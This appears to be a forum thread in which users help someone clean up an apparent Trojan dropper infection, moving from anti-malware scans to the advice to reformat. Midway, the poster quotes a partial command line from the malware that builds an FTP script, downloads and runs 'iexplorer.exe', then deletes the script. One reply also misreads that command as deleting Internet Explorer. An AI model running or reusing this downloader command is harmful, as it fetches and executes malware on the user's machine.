forgeten thought you said it was your ip

No. That's not my IP.

Is that more "Politically correct"?

It seems to be code when you open internet explorer it auto closes.
Thats my best guess.

That's what I was thinking.
I dunno, internet explorer is EWW.
I use chrome.

Update:
MBAR has been running since my last post, so.

How is the scan currently doing?

It's a virus. It's trying to hijack your computer. Download and install Malwarebytes's Anti-Malware. Update virus signature, disconnect from internet and run a scan.

This isn't even funny. You either do this as fast as possible, or you get forgeted over because they probably already stole half your stuff.
He can't even download anything or else it happens again

What? It doesn't work like that. The virus itself automatically downloads files without him knowing. It's a Trojan Dropper. He got rid of it though. He needs to really check his PC inside out now so there's nothing else left.

Considering it was sitting in his temporary internet files, It could have been waiting for the perfect time to download more malware, If he has rootkits it could potentially reinfect his system.

How is the scan currently doing?
Performing System, memory, and registry scan.

Blockzillahead didn't read that I already have MBAM apparently.

Scan Finished: No Malware Found!

How is the computer running, Are you still experiencing the same problem?

Keep a close eye now. Go on your normal daily activities on the Laptop. If it pops-up again try to retrace the steps and post them here.

You should be good now.

Funnily enough, I was watching a video and the page started derping out, I alt tab'd to notepad:
Code: [Select]
start %so user 10515 16135 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eq
It's not the full command, but, still, what in the forget.

You should be good now.
Sadly, Nope.

iexplorer.exe is the file used to initialize Internet Explorer.

Based on the lines of code and from what I can piece together, the malware may be attempting to delete Internet Explorer to in order to hinder your computer's performance and permanently damage the OS.

I don't know what kind of malicious software this is. Google searches have turned up nothing. If possible, try a system restore back to a point before you downloaded whatever it was.
what, it's not trying to delete iexplore.exe

it's trying to use it to execute the trojan.dropper payload, which is to drop malware.

just reinstall windows if you don't wanna go through the bullstuff of this virus.

backing up and reinstalling windows is literally the only way you're going to know your computer is safe.

Yeah. Reformat dude.

Also if you google "eq &echo" you will see several people with the same problem. No solution except reformatting.
